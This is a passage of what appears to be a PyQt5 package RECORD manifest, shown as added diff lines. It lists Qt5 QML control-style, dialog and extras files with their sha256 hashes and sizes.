+PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/CheckBoxStyle.qmlc,sha256=2dKJLkywTHPjfMlq7LTXClvJU1U8wdo8I4MeZodQCvA,10368 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qml,sha256=uOyIGjXPfpAVTSQTzc1TwrExVWwi6W9UL9k0-jrjTIM,5292 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ComboBoxStyle.qmlc,sha256=2las7k8bce0EJbecWxac0z0kjVnp0oQa-ELcRWptfj8,12384 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qml,sha256=gwfO742G8uMHtnocSgszr3uDzEll9pixWWCEHSCxnyk,2261 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/FocusFrameStyle.qmlc,sha256=L2Hc769GLWQFeTF1xKyOPBnGhIv5q8OilLvNbxLLSAs,1344 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qml,sha256=aFjbAfogrYNVm7XbubtqdxHIxpWexT_r1NCpxTcM9Zs,3230 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/GroupBoxStyle.qmlc,sha256=TKcK3YWv_QCJDozWBqv9knbR9vnwlmU7w8Lp_i6Bpbc,6616 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qml,sha256=F38hHuFWh-IxsqeQFy1crdY4AWgxrz5KVcT57ts34qw,3238 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuBarStyle.qmlc,sha256=gvxXrYeYhF2HbIg0xsr-N6L0hbd3GBhZI58yJXR4aDw,5604 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qml,sha256=r3W7CQXWRqGhU2HWQquGodOJaV1rz-6Ckc2oV_hODLY,4683 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/MenuStyle.qmlc,sha256=q28xYjbbEtQFo4Z26EpFlSVrGgGglraFKgsrZM811P0,9780 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qml,sha256=N07KlY7zayMkq77EXheeEVcPbeWpH4rT8lWTk7JA7Sg,2916 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ProgressBarStyle.qmlc,sha256=N5uc6Mlsa_B5uNKd4kmsFc_zPsOU2SvvR5dDjICsKYM,4212 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qml,sha256=1nPg9_rYQHSjdmAcpWREXpqLQoz1DDfqWdBaerWST2o,4128 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RadioButtonStyle.qmlc,sha256=Pe8D7v93VvtkfHVazx9lQq66gaxozdQ4nMZ01oYYnJY,10500 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qml,sha256=XBHtkRLz0obdA1HMUWaus897S8iEfAo1Qi37wU-086Q,2070 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/RowItemSingleton.qmlc,sha256=GVl-cLATp-nS5wIzalz9llj0GnSF998RdgUyU_Z08Hw,684 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qml,sha256=pvDLpHZ0rzcnCNYAJQagUU_I8cbfkiQWtEVJvbXQiAY,3920 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ScrollViewStyle.qmlc,sha256=6dNQQBmtJCzmSW9PEVm_ydxdGl4m8xWL5LW6lNH4Icw,9328 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qml,sha256=Z9OpS3WgGv7ghkTN7Q45PMMYCRb-bcm_S357FHJ-1YI,2912 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SliderStyle.qmlc,sha256=xz5ZiDTyYIExTntNBc6e_AnbRsYX28B54JbVqH9mHZQ,5956 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qml,sha256=vGqiNFhTZqQtxE2Q8VuvLNxgH0FY6aLpep6M5L2r4V0,5470 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SpinBoxStyle.qmlc,sha256=lizkR5V5hypRD37Ex6M17HqWuvVLLBK3vXLevUduCYQ,14728 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qml,sha256=pgXhRr1kbJT131QzCVb881WqmUgio_GdLo_I3Hxv3HI,2491 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/StatusBarStyle.qmlc,sha256=v3CMCuuUbbFdeSwzVytld_poWWUkh1LLoCGng7mN5Tc,2460 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qml,sha256=ID8FccMB8yFXNsBkcYHYxAz33GyWxMIv7jJ6DyZDBI0,2113 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/SwitchStyle.qmlc,sha256=5rMLMPOQJ350e38IkpsDKxW4QK8fFCoYBPqXbtUa-FA,820 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qml,sha256=-o0jNFd09nPsLiVf_Xc7T3nJQCsdlv1rWdr4KWs4gyI,5403 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TabViewStyle.qmlc,sha256=7ldKstwOA4NXhBW0VIasO8GSXmDUu-3WW0LWj2DZNVo,14220 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qml,sha256=15GAwLLR_f4dmeGC1e48KCYkAs_6gXggN55mYYyXYRQ,5378 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TableViewStyle.qmlc,sha256=5F1OVHin2syjLnvicR0bAxdYovPmOQGiXUcfEO8ZzgU,13648 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qml,sha256=xrADY0InUJ5l8L9R2nyTPd6e3u3seTmptOxqAy0VznY,2739 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextAreaStyle.qmlc,sha256=hZndD7t3LezE-q3pHmSBT4ZTh693ZBP9evcTFRJc_G8,3808 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qml,sha256=RpzHAXo96qV-Wtd_Z9ksSXMBWNTN09TOSgVlkWtL8EY,3377 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TextFieldStyle.qmlc,sha256=nLmID43eb2yKqbpBBRRCr-wCJiA6SmGOrW2Cy8nlgvg,7608 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qml,sha256=GaH2UxTRMGM_Ey38wGMnZ4cJRu3sHsMJTXfH6_He3qI,2560 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolBarStyle.qmlc,sha256=TutSXwUKPVQuiWiXbE13myDEU_3gdAmvnjNtGyyLSDI,2784 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qml,sha256=6riqZmCvxgC7Rjh5De52Eokibzdt7FBI_xMiyumWLqg,2679 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/ToolButtonStyle.qmlc,sha256=q_AwXZI04sFQ91sboP8u_OWGz0rhmW1cjYQEkYDnwGQ,4156 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qml,sha256=8l9NiNfpGmQs8fFIQpA5im--Vsow6NJkFnT8Kvlb4ow,2851 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/TreeViewStyle.qmlc,sha256=T1lUe_UH03xVE7-OoJAJIQytWGJUZScMb9iKTD7_v3U,3740 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Desktop/qmldir,sha256=VUU-InLE41r2TGl6ke4IKHKjNznoj5vxjoEoxas7xM4,72 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/plugins.qmltypes,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qmldir,sha256=qEoIu5WnAsgMJJaBt8Dm9CFz_qYZEklhJD9IBO1s2nA,126 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/Flat/qtquickextrasflatplugin.dll,sha256=l4087jrPhyUKZFRdI3JIYNNUyvl5hRGef8sm3zUKDU8,829936 +PyQt5/Qt5/qml/QtQuick/Controls/Styles/qmldir,sha256=e7lLzJ-n2EnBDthPR2rXlRph1I_o947VIBlWQZ040Fw,1575 +PyQt5/Qt5/qml/QtQuick/Controls/Switch.qml,sha256=sTqzfJ5GOpz45U7EkifQ2b_B4jBaxjPFIQGx68H3ZOo,5331 +PyQt5/Qt5/qml/QtQuick/Controls/Switch.qmlc,sha256=CiXBZyZO4tZpNM63Owm74TXHylYWB1C14rchp_5aJqc,7648 +PyQt5/Qt5/qml/QtQuick/Controls/Tab.qml,sha256=SYp1cqzBooWFd5hkjz_uqsdzZFVVc61yJfsqlJoFOfM,3001 +PyQt5/Qt5/qml/QtQuick/Controls/Tab.qmlc,sha256=NLhXNTknP0guMs8uFa04x56sWYQri5HGHwFy9p3Rz3c,2212 +PyQt5/Qt5/qml/QtQuick/Controls/TabView.qml,sha256=bQddWSoRjKvQSIC4BoE9RH3Y04thKCpjBdK22MziofE,10775 +PyQt5/Qt5/qml/QtQuick/Controls/TabView.qmlc,sha256=bSb0ZtWeW_M8gzQyy5qTl8mdjE1V8OFfzEZsDtfFMsA,16284 +PyQt5/Qt5/qml/QtQuick/Controls/TableView.qml,sha256=ELRlC2GWSCsiF8VZOhtwLh6F5ntYdp1oUxTHCG6GbM0,11555 +PyQt5/Qt5/qml/QtQuick/Controls/TableView.qmlc,sha256=frQlhkmJQuHLCaTJc1pGEoXkozVeAw_29GpU9FszEEc,19824 +PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qml,sha256=rQf1-ztyeRwK7KD-RHB8rsAX_fA2tU39Zh2GLKKFM4s,6804 +PyQt5/Qt5/qml/QtQuick/Controls/TableViewColumn.qmlc,sha256=bWqEHwhn8w_Sdx5qXe9_icCabecwJ2HVn-uGtvUhgE8,3940 +PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qml,sha256=_mfORgHoK0lU7G46fmrpE2eqrKQVZcCUBSNuBlyeUNY,36631 +PyQt5/Qt5/qml/QtQuick/Controls/TextArea.qmlc,sha256=tut-7SD7X7JXSPS3NYBrJrX4RwXZ-tc_xNQvD4yZjhM,36040 +PyQt5/Qt5/qml/QtQuick/Controls/TextField.qml,sha256=Cl7snmveWjGNaVNR6uoRh5KdCL2WFmcikM77QreEsnw,23187 +PyQt5/Qt5/qml/QtQuick/Controls/TextField.qmlc,sha256=Hlb_OkQXCXyDIrhoEL57ghfFEMnKo1psHtDzECYtJag,17192 +PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qml,sha256=pv2_AIlrZrkSyEvYQ5RjfcQYx7JVM_3uE83ywMUwgJ4,7444 +PyQt5/Qt5/qml/QtQuick/Controls/ToolBar.qmlc,sha256=doXlQbQl64_6N2bpthw3lQglb-SDwnu7ssirkrH3-Bg,11004 +PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qml,sha256=PQ--4AR5odb-vD9HIj-JAtNxpZr4TymMP80NEybirpk,3229 +PyQt5/Qt5/qml/QtQuick/Controls/ToolButton.qmlc,sha256=vc2SfZ6OKyfiPX4BpCWg8b3BYZqF48jqeopTaxoa3I8,1196 +PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qml,sha256=B77uCtujdb2elkisbfvhio_jzp3qG8VvPv0uAX8ve5s,17067 +PyQt5/Qt5/qml/QtQuick/Controls/TreeView.qmlc,sha256=VSiHpxue6Nw5F1aXVycOr0hKQzq_Q0Q_RZNauocd12U,25496 +PyQt5/Qt5/qml/QtQuick/Controls/plugins.qmltypes,sha256=mYDd6466sIzjl9maVD3JzcHklkAm75xz1roC_kOtLeM,157929 +PyQt5/Qt5/qml/QtQuick/Controls/qmldir,sha256=371csHvd0aI0K4KkQs1KRQTYfQTfefMIO7o6AxiIvj4,212 +PyQt5/Qt5/qml/QtQuick/Controls/qtquickcontrolsplugin.dll,sha256=LsSXrIrEgU7Uzua_fa6xWm3veFfc7GvykERrElrNWsE,337904 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qml,sha256=KbgWco4bRFDntQ3akofWEFK8wmXReLzRZywn-xQx_tU,16805 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultColorDialog.qmlc,sha256=ibxLwypnnBzJHB3wxeODU9WTRHqnHvSxUpBkMRSmUs8,38880 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qml,sha256=Cf29wwmLp33SJhuM2P2Dhm2Zjrm_qfaF2lxD_3jOdG0,8343 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultDialogWrapper.qmlc,sha256=NuwiYU8dgfnii4eaeRoj71pzhnBwJu8YRh0HkqZU6EY,15744 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qml,sha256=dWLd-yrGJqJT-jmH_O1d961-Ic5h6q8QLwBcxYb-a70,21837 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFileDialog.qmlc,sha256=AX-2KGdKWTPuxTz6A5mXewgY6Tr9B6RGziIbJ5s_Dm4,49208 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qml,sha256=R-ToRyxxlZocwS-whXKQ5lWskBxo0gkCSoABJVXwx9g,18789 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultFontDialog.qmlc,sha256=sbsQ4UAV2XItFEBhM21Dh7yvxeUuEVVaXr_RWDFErmw,38616 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qml,sha256=yqo0wqrfMtDruqzxd0TFeXt51NN3Mh-IE5s_E6FKthw,12934 +PyQt5/Qt5/qml/QtQuick/Dialogs/DefaultMessageDialog.qmlc,sha256=ivUSelAkrjugEJ-Tf3Bt4lrUaURje-WdaSHUYCG5QE4,31056 +PyQt5/Qt5/qml/QtQuick/Dialogs/Private/dialogsprivateplugin.dll,sha256=q86rFb6-eb1uU7Lc5xGQvvfA6qC7m1de1u7xXrqbQXo,52720 +PyQt5/Qt5/qml/QtQuick/Dialogs/Private/plugins.qmltypes,sha256=nydIMStGLJvWGhY4uR0vDjavCI2gbFXeOF0hYpkyWJI,12562 +PyQt5/Qt5/qml/QtQuick/Dialogs/Private/qmldir,sha256=MoznKB_xDvDZCnU6cWkSZW0_l0dmJKWEqLUIRxJ_oA0,128 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qml,sha256=aaZbZNcLIygliqGjW1Lh_E16T_vCtFi8jKSN1buyjI8,2046 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetColorDialog.qmlc,sha256=1lEcJ6Sszl2mX2LB15IirQOobaC8n1iJFJ4JmEI37iI,628 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qml,sha256=J13XRd59-6LP4gUTxy-R27zzqeeafFxYJt3hFkB_gxw,2045 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFileDialog.qmlc,sha256=tIpI9YO_IbUpaeB4y-giwSXj98Xn5VlqRHhaY7lYGgo,628 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qml,sha256=3DbVpOcTpc7tjod8sW0wJylT5zbJn7-TMHUiAoHjou4,2045 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetFontDialog.qmlc,sha256=2jQTRkMUdbUQ_KwSaOWfUI7noqZpbmGtUlUWKMHZmUI,628 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qml,sha256=3JGk5odpbEqoPlodbgW_3o8_roM4aRmC5C8ygq-aHm4,2048 +PyQt5/Qt5/qml/QtQuick/Dialogs/WidgetMessageDialog.qmlc,sha256=PWzIy03v80ZyMNcEfiHiOETcAoDL-_vLvXkYYDYR4uY,628 +PyQt5/Qt5/qml/QtQuick/Dialogs/dialogplugin.dll,sha256=DJ79w7AB1imz8UDPgBdVOT-SXeE4UalyfR4Ve4ZC5wE,141808 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkers.png,sha256=qfqrruEf3OahaVT0taz7jM6CuVa9qONlNuL6KlVlgz4,80 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/checkmark.png,sha256=xk9WUkkheNPnfDWMgWkgCoGb5QrlV9xanXHB93qi7Hs,809 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/copy.png,sha256=LxEVucHXBlC4RZcUp8QQomKdGZKiXkr57Kr6nPoSVNc,1338 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/critical.png,sha256=EfnRtFHly5o8B1OH1WrtEa_fX_OryHSxIiHmldXfnJU,253 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/crosshairs.png,sha256=MLSmyVpgatjpZJ9V3JqhAgY3rPhQ0gTjGQS3FEv0lpo,876 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/information.png,sha256=hIeOYfdgUBZhH7tJwH8ZY8SCO0EggWIHL7zaMJYzAbc,254 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/question.png,sha256=mOjdg_rAR7Qvs95p8nM7h2l8qKM_VK4S5l0tiIZ--Ao,257 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/slider_handle.png,sha256=j6XUg9g_5KkyDVJKU5bGxN-A9I5VOw_fNEs2V2I2rN8,1551 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/sunken_frame.png,sha256=tOb3WiVqgVOsNigkqLfaopx3AI2BLHjd-kj5FqJsn2A,623 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/warning.png,sha256=BUCKEkopPfVcpdPrYvNzyVQHX8fu-QPJbyVZqfPb7tA,224 +PyQt5/Qt5/qml/QtQuick/Dialogs/images/window_border.png,sha256=m2sTzzBgkb4SdMYtDdVAA5Nc2-Kv3foj1xvjNg5EITo,371 +PyQt5/Qt5/qml/QtQuick/Dialogs/plugins.qmltypes,sha256=doCFy6zohUo9CU3BP-2j8VIdZHF2r2giQ21uHx7qfpg,17475 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qml,sha256=CcD1lAPIg7492Gairba-X1vkDtmr9zEJyHumYnhD8_8,5169 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/ColorSlider.qmlc,sha256=63eATU1PQvKvRh34UECwbIp8gGfjnBckv573OTGSIZU,10732 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qml,sha256=J-rT1pZ4E8xccqNXU20DU9amxE1RmdwPe8kYmT86-EY,2923 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/DefaultWindowDecoration.qmlc,sha256=cxY6TW-5f6d1EYNJp8aJHM_2lwMCmIEG5DX_n15A69w,5116 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qml,sha256=yXsVRAz5DqvxVdbqjb1Y_pgh0NSlt2iO6oRDLN9ektw,2578 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconButtonStyle.qmlc,sha256=korNeS5WqxViRGRJoRk8kB2nv8HFj7LGQFzrMS6-ynI,3976 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qml,sha256=nhG39g6f3jx_kjgB8ibCIRAkob7d54zfypQWLlO2zS8,2253 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/IconGlyph.qmlc,sha256=3okr8wctxDgwvTslTlpvZKtrwsiTb1FqNr7MgjEJ2Y8,2476 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/icons.ttf,sha256=9QMNwjayAqXGwve_3ZSKq7UkpDmL9FOVMQzGy63wEwA,17372 +PyQt5/Qt5/qml/QtQuick/Dialogs/qml/qmldir,sha256=8dzLLDtRRugQvQoJ9mb_dIesAfMOunnymUBeJOA-07I,103 +PyQt5/Qt5/qml/QtQuick/Dialogs/qmldir,sha256=37lofafvZBfxSivVly4LgBU1qAAX3I6MDH5lU-U16jA,295 +PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qml,sha256=JPECI-iSXDZaX8weeSJMblk6Nho4ocK5VZeOTrc0BYo,5676 +PyQt5/Qt5/qml/QtQuick/Extras/CircularGauge.qmlc,sha256=qEsB-VHg4UN8XpjqKqB3WP9-0wEwW0sJkZ_d64iwvdE,2304 +PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qml,sha256=62NgHwcjpga-HkIcTkb-BWEFcwyywMQiVU_5nv5RwKo,5726 +PyQt5/Qt5/qml/QtQuick/Extras/DelayButton.qmlc,sha256=7tPNP-HL3fqG2M_lENb44ZpKo8atK-68h71Xp30Tf2M,4736 +PyQt5/Qt5/qml/QtQuick/Extras/Dial.qml,sha256=yiNT2DAWJD-G2CfyLlzfg7XVX5waxWwMwf-WIV92iOc,7052 +PyQt5/Qt5/qml/QtQuick/Extras/Dial.qmlc,sha256=RZy8M_jH_C1raiANLcRqCgTvKhCorYxV1zJPvpLET-U,7660 +PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qml,sha256=ZeQ3Ap1xzkhofSCPajFi93Wpc_UF-ZcrSH1S8eM4JAA,6678 +PyQt5/Qt5/qml/QtQuick/Extras/Gauge.qmlc,sha256=aHRT_10-sd0KKKUqZNmGImcmAsFPPOfCNPBUkG4sNWI,4692 +PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qml,sha256=WBIbFzH10z2ZwRiW8jmaBGQdiOIVjJ53fgIA34jZtu8,29354 +PyQt5/Qt5/qml/QtQuick/Extras/PieMenu.qmlc,sha256=iD4ahg8GxerusL7aJnyAua4ObqlVwxL_X-br3XxDk2s,23240 +PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qml,sha256=wOUs2kbtfbFS09ZMzR1L9aJA9JrHYQfbKnuxYdlBK7k,2233 +PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButton.qmlc,sha256=Ww4c-ROzw3CxGV_WCYaG8TbHksAvtgmmm8OSnWsIFdM,1300 +PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qml,sha256=SV8OkstkEurNg39--c23dWBvD-BGSeGQYozyl_2oFDc,6177 +PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularButtonStyleHelper.qmlc,sha256=ulcdjOsgKGThTPRSobMRN1OMfL2d4uDZnpCWzwoQLcQ,10020 +PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qml,sha256=QYP-DmBAd8c7j8H0XH-XEJXADT0eSIpOQeaztcMWiYw,5261 +PyQt5/Qt5/qml/QtQuick/Extras/Private/CircularTickmarkLabel.qmlc,sha256=P7Ka182m4GmTsMKGQFx-cVDI9MyhivIPM2f6vWnNnvw,4968 +PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qml,sha256=HO7khjcjmwfRBmSFheckG5HuEk666wfc9j2BGn5FxEo,4681 +PyQt5/Qt5/qml/QtQuick/Extras/Private/Handle.qmlc,sha256=5BMDM-DCHkHJu4l9wFQexn1ys2kzlmnhLWpN-u7R8Gg,6240 +PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qml,sha256=olKBQa-NaY5NHdBq9zxUHWoW4sDFoJavw6vZUfnXT90,4559 +PyQt5/Qt5/qml/QtQuick/Extras/Private/PieMenuIcon.qmlc,sha256=YWuJCkdijyxQ4zTM3ElFHm3cgVrWwl0ZDEl_3VsedAE,4800 +PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qml,sha256=9Ljs4eFVCunVRuGy-pHFS3bah0ZA7cGaj2Tc8NESXz4,2020 +PyQt5/Qt5/qml/QtQuick/Extras/Private/TextSingleton.qmlc,sha256=0mZILdANY8xJ3KIQyV_JPV7eIkg06YpHJMFZUktueDo,516 +PyQt5/Qt5/qml/QtQuick/Extras/Private/qmldir,sha256=6ZxJyMrtETrLJndEcDOFU-Blj_IcbLmyU03iANpGa4c,31 +PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qml,sha256=mUznpetgz02iEBkmP7upsYME2HtxH241KOT0BGULxsE,4261 +PyQt5/Qt5/qml/QtQuick/Extras/StatusIndicator.qmlc,sha256=W4xYML_BcfqUwMvuwUQe1OES_uz1wP0wMaUnJ4sFXC0,1932 +PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qml,sha256=5PPVUp4v1R2kjnULnAu_mEWhnNWaM1maFQAh9B3otTo,3008 +PyQt5/Qt5/qml/QtQuick/Extras/ToggleButton.qmlc,sha256=OE_QqZDsbEQx9YVjALgXwLPy6hju_hNHF4vG-HJrtxg,1380 +PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qml,sha256=ikciwW4Z77oL-2RzwiN42AE5dd49PfvlzFtuKf4O8dw,18368 +PyQt5/Qt5/qml/QtQuick/Extras/Tumbler.qmlc,sha256=QFHEsgfrvwtr7tFCVicZ8XfMnQQV_1j7TUc7Xx9g2II,27396 +PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qml,sha256=ElC9lgcSwA9-Be_6EqgdvQ-ojic_tExjcMKajIReO_U,5447 +PyQt5/Qt5/qml/QtQuick/Extras/TumblerColumn.qmlc,sha256=0kAqLyIky5N3uTuKbFGTRZ6ktXuwryoA_PhGs0F4ScU,2804 +PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qml,sha256=-hs8AAOEgcjtJfTbf5mWx71NVczrXmdKMQehD2NxodY,4173 +PyQt5/Qt5/qml/QtQuick/Extras/designer/CircularGaugeSpecifics.qmlc,sha256=1mRdEx10cg7YExHy7rpcLi8aOdRT1jLUTnTk_KygMUY,6684 +PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qml,sha256=eDBPMRzFTPOshg8fbQtGklqiraqb-yJ9VFkvOq5nVVg,3500 +PyQt5/Qt5/qml/QtQuick/Extras/designer/DelayButtonSpecifics.qmlc,sha256=vtvwDoS5TCeUCLXHY_ItMuly9Kw56eO6Ney5H117bAI,4500 +PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qml,sha256=0eiLDSFXEdxIaTiwjE2et5Nfola5NSAk51b8b3EOBBE,4707 +PyQt5/Qt5/qml/QtQuick/Extras/designer/DialSpecifics.qmlc,sha256=UWw0uQEP70xXHLM9FXMAmfl9i0L77Xt30n__Jvbb0cc,7644 +PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qml,sha256=i5p3929Ginm6nWDbF-8WAVLfBmH0CO3gSJi5dsAHVZU,4909 +PyQt5/Qt5/qml/QtQuick/Extras/designer/GaugeSpecifics.qmlc,sha256=r7b5-eGg7_mWEWtxEf8r2sC4FUlQQqoPlJ1xohmV5nE,5892 +PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qml,sha256=stMzzNWt_ykz4yuTd7uxje1t7fhtQvQ5rVG5uTvvy8w,3061 +PyQt5/Qt5/qml/QtQuick/Extras/designer/PictureSpecifics.qmlc,sha256=bk6HIlhAUl35s6hbpL_twM2AaNH6Tf39fWN4906-Awg,4800 +PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qml,sha256=AIvbUkU4b-2nHdeomUftcWtyJJXsXDZcCvgM7WxhgEI,4017 +PyQt5/Qt5/qml/QtQuick/Extras/designer/PieMenuSpecifics.qmlc,sha256=YYLQFfXmHqM1JCcmgMsZa6C7NRgvvHkxt0UVCPe5pEM,7040 +PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qml,sha256=NySQTTZvK6BiPYfXIcs0slyV3Mg3iwwQtev3YiJYdA4,2940 +PyQt5/Qt5/qml/QtQuick/Extras/designer/StatusIndicatorSpecifics.qmlc,sha256=Ktxp16OBct8s3Z4Zsnl5VnQWzCKncDujGVBIhDsgDy0,4472 +PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qml,sha256=K1NDt73bl3OUWLuboDcXboryWXX4bkKLLxTvjkYDMxo,3470 +PyQt5/Qt5/qml/QtQuick/Extras/designer/ToggleButtonSpecifics.qmlc,sha256=Sm2sBoMtta6hSTx3Z-yBQHiqYjTQulSZU0cbps2c7jo,4356 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon.png,sha256=P_VsuaQOGLpa8CKgSMcOg6AqjUIhLzPPfU73k3LA2kE,373 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/circulargauge-icon16.png,sha256=ev6CyhO1D0adjfgQStR2HqROjM9vSH3H26_O1JoMyjI,249 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon.png,sha256=fHk8J0H0rYn-uRH6hfpxwqA9UE5IMbgpH9uyG-_9W38,343 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/delaybutton-icon16.png,sha256=10agnBdzQWkJ1T8JfEhdk5__TU24rqfczuaccwXog-g,220 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon.png,sha256=S99v4K2ZB8EycwVQ000EVnuIQHB9GJ52xIF9DmpSsVA,326 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/dial-icon16.png,sha256=Mnn70T76iuOgMrtOHDH5Pn8w1_AO7OPIkcTfaj4_oSY,217 +PyQt5/Qt5/qml/QtQuick/Extras/designer/images/gauge-icon.png,sha256=Le-p25H-0zRiRiWbEdt6zWkgNFqSOX1HFyBHIorwbEY,189 